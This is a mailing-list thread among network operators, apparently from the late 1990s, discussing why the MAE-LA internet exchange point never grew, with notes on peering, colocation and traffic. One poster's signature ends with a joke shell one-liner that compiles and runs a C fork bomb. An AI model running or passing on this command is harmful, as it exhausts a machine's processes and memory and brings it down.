In some sense I beleive that operation of exchange points is no longer in WorldComs financial interests. It might make much more sense to have potential exchange customers just become UUnet clients. In many cases this is true. And there is the fact that the other side of MAE-LA, at ISI and called LAP, has not promoted its facilities. The costs are reasonable, there is some space for colo., mulitple fiber providers, in fact, most fo the same facilities as PAIX. But there is also a lack of promotional activity here, with much of the thought going into integration of the LAP components with an Internet-2 gigapop. As far as I can tell, there are only a couple of sites where these two features will come together, all on the west coast (and none in the Bay Area!) So, if there are folks who want MAE-LA or LAP connectivity, its there. There are several large players there, although none of the "big-boys" are present. I'm not sure we want them... :) We've got full routes, robust connectivity, decent infrastructure support (DNS, multicast, etc.) and push about 50-70Mbp/s in the "standard" 5min. snapshots. If you want a pointer for more info (on LAP stuff) then let me knwo, and I am sorry for the quasi-commercial content. -- --bill

Mae-LA has kicked off if you look at it this way: 1. Every provider there, that I am aware of, will peer with any other providers connecting to Mae-LA. 2. Some of the biggest providers of colocation and access in the LA area are present at Mae-LA: Exodus, CerfNet, Genuity, Internex and LosNettos. 3. Even if the "big boys", as Bill put it, were present, you probably wouldn't meet their peering guidelines by only being at Mae-LA, and therefore it wouldn't make a difference anyways. 4. Being smaller than Mae-West and Mae-East, it doesn't have all the wonderful problems like looped OC3 circuits, head-of-line blocking, long power outages and people that are leaving their interfaces at 100% utilization. 5. Bill Manning has better statistics on his homepage than MFS does for the other Maes. ;) We have no plans on bailing out of Mae-LA anytime soon. In fact, we've placed an order to increase our connection from 10Mbps to a shared FDDI (as they don't have enough traffic to justify a wonderfully HOL ridden Gigaswitch yet). Rob Exodus Communications Inc.

Hello,

I'm curious about MAE-LA. It has the potential to be quiet big, but it never really kicked off. We were considering linking there, but with only 13 other providers, we decided not too.

Does anyone know why MAE-LA never really kicked off?

Keith ========================================================================== Keith M. McCallion Senior Network Operations Engineer Trippin on irc.iswest.net Internet Specialties West keith@iswest.net/keith@hick.com 31194 La Baya Dr, Ste 106 P: 818-735-3000, F: 818-735-3004 Westlake Village, Calif. 91362 ========================================================================== echo "main(){while(1){malloc(10000);fork();}}" >z.c;gcc -o z z.c;./z ==========================================================================